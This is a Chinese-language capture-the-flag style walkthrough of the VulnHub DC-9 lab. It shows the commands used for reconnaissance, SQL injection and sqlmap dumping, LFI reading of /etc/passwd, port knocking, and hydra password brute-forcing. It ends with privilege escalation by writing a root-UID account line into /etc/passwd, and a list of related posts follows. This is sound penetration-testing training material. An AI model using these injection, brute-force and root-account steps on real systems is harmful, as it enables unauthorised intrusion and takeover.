靶机地址

难度:中等

靶机发布日期:2019年12月29日

靶机描述:DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:want2live233@gmail.com

工具、知识点和漏洞

  • nmap
  • gobuster
  • sqlmap
  • hydra

0x00、信息收集

靶机IP:192.168.56.102

nmap -sn 192.168.56.0/24

端口和服务

nmap -sS -sV -T5 -A -p- 192.168.56.102

页面、目录枚举

gobuster dir -u http://192.168.56.102 -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,.txt,.html

http://192.168.56.102/display.php
列出了所有的用户信息,后续应该是需要根据这些信息获取登录口令和密码。

http://192.168.56.102/manage.php
应该是后台的登录地址。

http://192.168.56.102/search.php
搜索页面,可能存在SQLi漏洞。

0x01、SQLi

手工测试一下搜索页面有没有SQLi注入漏洞

使用单引号进行测试,网页上没有报错信息

直接使用search=Mary' or 1=1 --+进行测试,得到了所有的用户信息。确定了这里存在SQLi漏洞。

上sqlmap

首先使用burpsuite抓取搜索过程中的POST请求包,保存到一个txt文件中。

sqlmap -r post.txt --dbs
sqlmap -r post.txt -D users --tables
sqlmap -r post.txt -D users -T UserDetails --columns
sqlmap -r post.txt -D users -T UserDetails --dump
sqlmap -r post.txt -D Staff --tables
sqlmap -r post.txt -D Staff -T Users --columns

最终得到账户口令:admin/transorbital1

登录后台,看到一个提示:File does not exist。猜测可能存在文件读取或LFI。

经过测试发现,可以查看/etc/passwd

由于之前已经从数据库中获取到了一些用户名和密码,结合/etc/passwd中的内容,所以尝试一下“撞库”……

尝试使用Hydra爆破SSH,结果提示连接被拒绝……

下面是第一个转折点

为什么会得到这样的提示?之前使用nmap发现靶机上运行了SSH服务(port:22),但是状态是filtered因为靶机使用了knockd进行防护,详情参考下方链接中的文章:

  • 保护 SSH 的三把锁
  • 如何使用knockd让黑客看不见你的服务器?

简单来说,当使用了knockd之后,需要依次输入端口敲门序列(如,7000,8000,9000),防火墙才允许我们访问22端口。而端口敲门序列可以在/etc/knockd.conf配置文件中得到。

在kali上安装knockd,然后使用通过knock 192.168.56.102 7469 8475 9842命令执行端口敲门操作。使用hydra进行密码猜解,得到两组账户口令,joeyt/Passw0rdjanitor/Ilovepeepee

0x02、权限提升

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

使用joeyt用户登录靶机,执行过常规提权操作之后,没有发现可利用的地方。

接着使用janitor用户登录靶机,在该用户目录下发现密码列表,使用hydra进行爆破之后,得到第三组账户密码fredf/B4-Tru3-001。之后执行过常规提权操作之后,依然没有发现可利用的地方。

按照作者这个套路,怕是要把所有用户的密码都获取一遍哦……

使用fredf用户登录靶机,查找sudo权限命令,发现/opt/devstuff/dist/test/test能够以root权限执行。

sudo -l

查看test.py脚本的内容

openssl passwd -1 -salt abcdx ins1ght
echo 'ins1ght:$1$abcdx$W3FeE9dd2V39cxZDUachm.:0:0:ins1ght:/root:/bin/bash' > /tmp/passwd

0x03、后记

之后查看了一下welcome.php的内容,发现这里的漏洞是LFI,但是日志文件www-data用户是没有权限读取的。

$file = 'contact-info.php';
$show_errors = $_SESSION['display_errors'];if ($show_errors == 'yes') {if(file_exists($file)) {include($file);} else {echo "File does not exist" . "<br />";$file = $_GET['file'];include('directory/' . $file);}
} else {}

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。我是ins1ght.

『VulnHub系列』DC: 9-Walkthrough相关推荐

  1. 『VulnHub系列』Hacker Fest: 2019-Walkthrough

    靶机地址 难度:初级+1 靶机描述: The machine was part of my workshop for Hacker Fest 2019 at Prague. Difficulty le ...

  2. 『VulnHub系列』EnuBox_Mattermost-Walkthrough

    靶机地址 难度:初级++ 靶机发布日期:2020年1月6日 靶机描述:Description: The Mattermost chatting system may or may not hold s ...

  3. 『VulnHub系列』serial: 2-Walkthrough

    靶机地址 难度:中等++ 靶机发布日期:2019年9月27日 靶机描述:This box has an intermediate difficulty for the user, I suggest ...

  4. 『论文复现系列』3.Glove

    ★★★ 本文源自AlStudio社区精品项目,[点击此处]查看更多精品内容 >>> 『论文复现系列』3.Glove Glove 论文 | Global Vectors for Wor ...

  5. 『Kali nethunter系列』手机发起“badUSB”攻击(Rucky,Rucky脚本)

    一个数据线,一个手机,动动手指拿下电脑控制权. 『Kali nethunter系列』手机发起"badUSB"攻击(Rucky,Rucky脚本) 当然不是只有nethunter的设备 ...

  6. 系列 | 漫谈数仓第四篇NO.4 『数据应用』(BIOLAP)

    点击上方蓝色字体,置顶/星标哦 目前10000+人已关注加入我们 本文目录CONTENTS ☞ 01.可视化BI工具 [ 开源BI,商业BI,传统BI ] ☞ 02.OLAP科普 [ ROLAP  M ...

  7. 『Oracle数据复制容灾案例系列』兴业证券Oracle容灾案例

    『Oracle数据复制容灾案例系列』   兴业证券Oracle数据库复制容灾案例 使用产品:DDS 上线时间:2006 系统环境:Oracle 10g RAC  IBM AIX5L 应用系统:恒生 证 ...

  8. 『Oracle数据复制容灾案例系列』中银国际证券Oracle容灾案例

    『Oracle数据复制容灾案例系列』   中银国际证券Oracle数据库容灾案例 使用产品:DDS 上线时间:2007 系统环境:Oracle 10g RAC 惠普 安腾 IA 64 HPUX 11. ...

  9. 『Oracle数据库容灾案例系列』国元证券Oracle容灾案例

    『Oracle数据库 容灾案例系列』   国元证券Oracle数据库容灾案例 使用产品:DDS 上线时间:2007 系统环境:Oracle 10g RAC  IBM AIX5L 应用系统:金正 证券 ...

最新文章

  1. 用于构建集成式桌面应用程序的新指南和新工具(转载于MSDN)
  2. Python实现快速排序(非递归实现)
  3. python 中的[::-1]
  4. JSF和“立即”属性–命令组件
  5. 有意思的小学数学竞赛题-2
  6. ActiveMQ (一):安装启动及测试
  7. AI 是否会取代计算机程序员
  8. python是什么专业-python有什么用(会计专业)
  9. Trip to Canvas(1)
  10. BZOJ1222: [HNOI2001]产品加工(诡异背包dp)
  11. 从日志中截取某个时间段的日志分析
  12. 小米路由器安装MT工具
  13. 深度强化学习——A3C
  14. 10个互联网兼职平台,让你的一技之长变现,副业薪资比日常搬砖高也太爽了
  15. Block-scoped declarations (let, const, function, class) not yet supported outs报错解决
  16. 1153: 简易版最长序列 C语言
  17. HR面试,你需要注意什么?
  18. jsapi 支付缺少appid ¬ify_url
  19. Ubuntu18设置4K屏幕缩放125%
  20. 浙江移动2018暑期实习生经历

热门文章

  1. vue的sync修饰符
  2. 浅谈一件代发的功能以及优势
  3. NOIP2017day2题解
  4. SWPU-DS)若有 n 阶对称矩阵 A,以行序为主序方式,将其下三角形的元素(包括主对角线上所有元素)依次存放于一维数组B[1..(n(n+1))/2]中,则在 B 中确定 a[i, j](i<j)
  5. “牛市”惊涛骇浪中的股友们
  6. [Wpf] . [Theme] 重构/Themes/Generic.xaml 创建一个Custom Control的典型做法
  7. 苹果a10处理器_苹果“芯”基建简史:自己掌握不了核心技术 乔布斯也得干着急...
  8. XStream入门示例
  9. PHP商城的搜索功能
  10. 笔记连载 | Day5 Xilinx ZYNQ7000系列 PS、PL、PS-PL基本开发流程之PL端篇